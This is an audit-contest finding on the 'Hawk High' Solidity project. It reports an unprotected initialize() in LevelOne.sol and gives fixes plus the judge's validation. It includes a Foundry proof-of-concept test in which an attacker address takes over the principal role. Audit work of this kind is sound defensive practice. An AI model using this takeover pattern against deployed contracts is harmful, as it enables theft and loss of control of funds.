Hawk High

First Flight #39
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: medium
Valid

[H‑1] Unprotected Initializer Allows Full Takeover

Summary

The issue happens here:

(src/LevelOne.sol#125–141)

functioninitialize(address _principal, uint256 _schoolFees, address _usdcAddress)
public initializer
{ … }

Vulnerability Details

Lack of onlyProxy or constructor lock: No onlyProxy guard and no _disableInitializers() in a constructor, so anyone can call initialize() on the implementation or proxy first.

  • Attacker as principal: Once called, the attacker becomes principal and satisfies onlyPrincipal, enabling them to call upgradeToAndCall on the proxy to any malicious implementation.

Impact

Anyone can call initialize on the logic contract, and destruct the contract.


Proof Of Code

Add the following test to LevelOneAndGraduateTest.t.sol:

function test_anyone_can_initialize_implementation() public {
// 1) Grab the raw implementation address (uninitialized)
LevelOne impl = LevelOne(levelOneImplementationAddress);
// 2) Prepare a “malicious” principal and new params
address attacker = makeAddr("attacker");
uint256 fakeFees = 1;
// 3) Attacker calls initialize(...) on the implementation
vm.prank(attacker);
impl.initialize(attacker, fakeFees, address(usdc));
// 4) Assert that the implementation’s storage was overwritten
assertEq(impl.getPrincipal(), attacker);
assertEq(
impl.getSchoolFeesCost(),
fakeFees
);
assertEq(
impl.getSchoolFeesToken(),
address(usdc)
);
}

Tools Used

  • Slither

  • Foundry

  • Manual Review


Recommendations

1. Add a constructor to ensure initialize cannot be called on the logic contract

2. Add onlyProxy modifier to initialize so it can only be called via the proxy

...
+//@custom:oz-upgrades-unsafe-allow constructor
+ constructor() {
+ _disableInitializers();
+ }
....
- function initialize(address _principal, uint256 _schoolFees, address _usdcAddress) public initializer {..}
+ function initialize(address _principal, uint256 _schoolFees, address _usdcAddress) public onlyProxy initializer {
Updates

Lead Judging Commences

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

contract can be re-initialized

The system can be re-initialized by an attacker and its integrity tampered with due to lack of `disableInitializer()`

yeahchibyke Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

contract can be re-initialized

The system can be re-initialized by an attacker and its integrity tampered with due to lack of `disableInitializer()`

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.